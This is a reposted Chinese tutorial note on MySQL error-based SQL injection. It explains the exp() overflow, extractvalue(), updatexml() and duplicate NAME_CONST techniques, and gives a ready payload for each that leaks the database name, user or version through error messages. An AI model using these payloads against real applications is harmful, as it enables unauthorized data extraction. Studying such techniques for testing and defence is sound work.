首页 > 数据库技术 > 详细

mysql内一些可以报错注入的查询语句

时间:2021-03-01 09:23:58      阅读:32      评论:0      收藏:0      [点我收藏+]
 
 

一、exp() 取反参数

该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0

技术分享图片

 这样既可配合使用,exp(其中对随意一个数取反均会是一个大于710的数值)

因此可以使用 (exp(~(查询语句为)))

select exp(~(select*from(select database())x));

技术分享图片

 

 高于5.5.5的版本会出现如上的报错,不会查询出当前数据库,这个需要针对特定的版本进行使用:

技术分享图片

 

二、extractvalue()  两位参数

Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
xml_frag: 目标xml文档
xpath_expr: 利用Xpath路径法表示的查找路径
具体可查看这篇博客:https://xz.aliyun.com/t/7318#toc-5

技术分享图片

 

根据该博客,此处我进行了复现与学习,感兴趣的朋友也可以像上面那篇博客学习。

技术分享图片

 技术分享图片

此处长度存在限制,因此该函数常与concat、concat_ws等函数配合使用:

concat() :

select concat(‘大‘,‘小‘);

concat_ws():

select concat_ws(‘,‘,‘11‘,‘22‘,‘33‘); #第一个参数应该为连接符

 技术分享图片

select extractvalue(1,concat(0x7e,(select user()),0x7e)); #拼接的函数可自行替换,需查询的内容也一样可以自行替换

 

三、updatexml()  三位参数

UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据

技术分享图片

 

 技术分享图片

使用该语句即可爆出当前数据库名:

select updatexml(‘1‘,concat(‘~‘,(select database())),‘1‘);

四、mysql重复属性

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

技术分享图片

当有新的报错函数时将会继续更新!!!

mysql内一些可以报错注入的查询语句

原文:https://www.cnblogs.com/cute-puli/p/14461322.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!